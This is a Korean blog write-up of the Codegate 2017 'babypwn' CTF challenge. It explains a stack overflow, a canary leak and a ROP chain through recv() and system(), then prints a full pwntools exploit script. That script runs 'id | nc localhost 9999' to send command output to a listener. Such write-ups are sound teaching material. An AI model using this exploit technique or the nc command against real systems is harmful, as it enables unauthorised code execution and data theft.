write-ups/CTF

codegate 2017 babypwn write up

2017. 12. 18. 20:35

1일 1폰 스터디를 하면서 CMS 취약점도 찾고, 네이버 취약점도 찾고, 코드게이트 문제도 풀게 되었다. 이 문제는 같이 출제되었던 BabyMISC 보다는 어려웠지만, 그래도 꾸역꾸역 풀었다.


Challenge Analyse

일단 바이너리를 헥스레이 해보았다. 



메인함수를 까보면 소켓 프로그래밍된 소스가 보인다. 사용자가 정의한 듯한 sub_8048B87() 함수에 들어가보자. 



해당 함수에는 많은 함수가 들어가 있다. codegate_start() 함수와 codegate_end() 함수는 다음과 같은 문자열을 소켓으로 보내준다. 




play() 함수에서 본 게임이 시작된다. play() 함수를 헥스레이하면 다음과 같다. 



MK_FP() 가 있는 것으로 보아, 카나리가 존재한다는 것을 유추할 수 있다. 


제일 처음 memset() 함수로 user_input 함수를 초기화해준다. memset() 함수는 보통 memset(string, 0, strlen(string)) 으로 사용되기 때문에 대충 0x28 (40 byte)이 user_input의 크기라는 것을 게싱할 수 있다. 


더 정확하게 유추해보자면, 

0x34 - 0xC = 40 이므로, 40 바이트의 크기를 갖고 있는 것을 유추할 수 있겠지.


40 byte 밖에 안되는데 input() 함수로 100 byte의 문자열을 입력받기 때문에 취약점이 터진다. 참고로, input() 함수에는 recv() 함수로 네트워크를 통해 사용자로부터 문자열을 입력받는다.


그리고 3을 입력해서 프로그램이 종료되면 덮힌 RET에 있는 주소로 점프한다. 


대충이렇게 하면 되겠고, 카나리는 문자열을 41byte 만큼 보내서 릭하면 될 것 같다. 



시나리오 

remote()로 연결해서,
sendline()으로 40 byte만큼 값을 보내고
0x0a를 카나리의 첫번째 바이트로 덮어씌운 다음, 
recv(40), recv(4)로 카나리를 Leak하고,
다시 leak한 카나리를 통해 RET을 덮어씌우면 끝!

system() 함수의 PLT가 존재하는데, recv()로 .bss 영역에 쓴다음, 
system으로 쉘을 획득하면 된다. 


Exploit 


#!/usr/bin/python
# coding: utf-8

from pwn import *
import commands

p = remote('localhost', 8181)

print p.recvuntil("Select menu > ")
p.sendline("1")
print p.recvuntil("Input Your Message : ")

# canary leak
payload = "A" * 40
p.sendline(payload)
print p.recv(40)
canary = u32(p.recv(4)) - 0x0a      # sub enter value because of sendline()

print "[*] Leaked CANARY : ",
print hex(canary)


sleep(0.3)
print p.recvuntil("Select menu > ")
p.sendline("1")
print p.recvuntil("Input Your Message : ")

bss = 0x0804b1b4
recv_plt = 0x080486e0
system_plt = 0x08048620
ppppr = 0x08048eec

binsh = "id | nc localhost 9999\x00"

payload = "A" * 40
payload += p32( canary )
payload += "DUMM"
payload += "DUMM"
payload += "SFP!"
payload += p32( recv_plt )
payload += p32( ppppr )
"""
int recv(
  _In_  SOCKET s,
  _Out_ char   *buf,
  _In_  int    len,
  _In_  int    flags
);
"""
payload += p32( 0x4 ) # socket descriptor
payload += p32( bss )
payload += p32( len(binsh) )
payload += p32( 0x0 )

payload += p32( system_plt )
payload += "DUMM"
payload += p32( bss )

p.sendline(payload)
sleep(0.3)

print p.recvuntil("Select menu > ")
p.sendline("3")
p.send(binsh)
result = commands.getstatusoutput("nc -l -p 9999")

print "\n\n[*] Executed command : ",
print result[1]

참고로 socket descriptor 에 0x04를 넣은 이유는 해당 바이너리 안에 fork() 함수가 존재하기 때문이다. 만약 fork() 함수가 존재하지 않았다면 0x3으로 넣었을 것이다. 





'write-ups > CTF' 카테고리의 다른 글

2017 ROOT CTF write up  (0) 2017.12.26
mma ctf 2nd 2016 greeting write up  (0) 2017.12.19
plaid ctf 2013 ropasaurusrex write up  (0) 2017.12.14
codegate 2017 EasyMISC write up  (0) 2017.12.13
DIMICTF xml_parser write up  (0) 2017.12.10